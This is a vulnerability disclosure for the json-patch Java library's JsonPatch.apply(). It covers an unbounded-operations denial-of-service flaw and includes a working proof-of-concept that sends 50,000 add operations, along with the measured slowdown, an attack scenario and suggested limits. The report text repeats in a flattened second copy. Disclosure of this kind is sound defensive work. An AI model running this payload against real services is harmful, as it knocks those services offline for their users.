Security Vulnerability Report
Metadata
| Field | Value |
|---|
| Affected Version | 1.13 (latest on Maven Central) |
| Component | JsonPatch.apply() |
| File | src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113 |
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
| CVSS 3.1 | 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H) |
Summary
JsonPatch.apply() accepts an unbounded number of patch operations with no limit, timeout, or backpressure mechanism. Each operation internally calls node.deepCopy(), resulting in O(N×M) resource consumption (N = number of operations, M = document size). A single HTTP request containing a large JSON Patch document can exhaust server CPU and memory.
Root Cause
// src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113publicJsonNodeapply(finalJsonNodenode) throwsJsonPatchException {
JsonNoderet = node;
for (finalJsonPatchOperationoperation : operations) { // No limit on operations.size()!ret = operation.apply(ret); // Each apply() calls deepCopy() internally
}
returnret;
}There is:
- No maximum number of operations
- No timeout or operation budget
- No backpressure mechanism
deepCopy() on every operation multiplies memory consumption
Proof of Concept
Runtime verified on VM with OpenJDK 21:
--- Test 4: DoS via Unbounded Patch Operations ---
Applied 50000 operations in 68791ms, result has 50000 fields
VULNERABLE: No limit on number of patch operations accepted
Minimal reproduction:
importcom.github.fge.jsonpatch.JsonPatch;
importcom.fasterxml.jackson.databind.JsonNode;
importcom.fasterxml.jackson.databind.ObjectMapper;
importcom.fasterxml.jackson.databind.node.ArrayNode;
ObjectMappermapper = newObjectMapper();
ArrayNodeops = mapper.createArrayNode();
// Create 50,000 add operationsfor (inti = 0; i < 50000; i++) {
ops.addObject()
.put("op", "add")
.put("path", "/field" + i)
.put("value", "data" + i);
}
JsonPatchpatch = JsonPatch.fromJson(ops);
JsonNodetarget = mapper.createObjectNode();
// This takes 68+ seconds and consumes massive memoryJsonNoderesult = patch.apply(target); // 68,791ms!Attack scenario:
- Attacker sends a single HTTP request with 50,000+ JSON Patch operations
JsonPatch.apply() processes all operations sequentially- Each operation calls
deepCopy() on the growing document - Server thread blocked for 68+ seconds; memory grows quadratically
- Multiple concurrent requests exhaust thread pool and memory
Impact
- Denial of Service: Single HTTP request blocks a server thread for 68+ seconds
- Memory exhaustion: Each operation copies the entire document; 50,000 ops on a 1KB document = ~50MB+ allocations
- Thread pool exhaustion: 4-8 concurrent malicious requests exhaust typical thread pools
- No authentication required: Any endpoint accepting JSON Patch is vulnerable
Suggested Remediation
- Add configurable maximum operation count (default e.g. 10,000):
publicJsonNodeapply(finalJsonNodenode) throwsJsonPatchException {
if (operations.size() > maxOperations) {
thrownewJsonPatchException("Patch exceeds maximum operation count: " + maxOperations);
}
// ... existing logic
}Consider structural sharing instead of deepCopy() per operation — copy-on-write or immutable tree would reduce O(N×M) to O(N+M).
Add operation timeout for long-running patches.
References
Security Vulnerability Report
Metadata
JsonPatch.apply()src/main/java/com/github/fge/jsonpatch/JsonPatch.java:108-113Summary
JsonPatch.apply()accepts an unbounded number of patch operations with no limit, timeout, or backpressure mechanism. Each operation internally callsnode.deepCopy(), resulting in O(N×M) resource consumption (N = number of operations, M = document size). A single HTTP request containing a large JSON Patch document can exhaust server CPU and memory.Root Cause
There is:
deepCopy()on every operation multiplies memory consumptionProof of Concept
Runtime verified on VM with OpenJDK 21:
Minimal reproduction:
Attack scenario:
JsonPatch.apply()processes all operations sequentiallydeepCopy()on the growing documentImpact
Suggested Remediation
Consider structural sharing instead of
deepCopy()per operation — copy-on-write or immutable tree would reduce O(N×M) to O(N+M).Add operation timeout for long-running patches.
References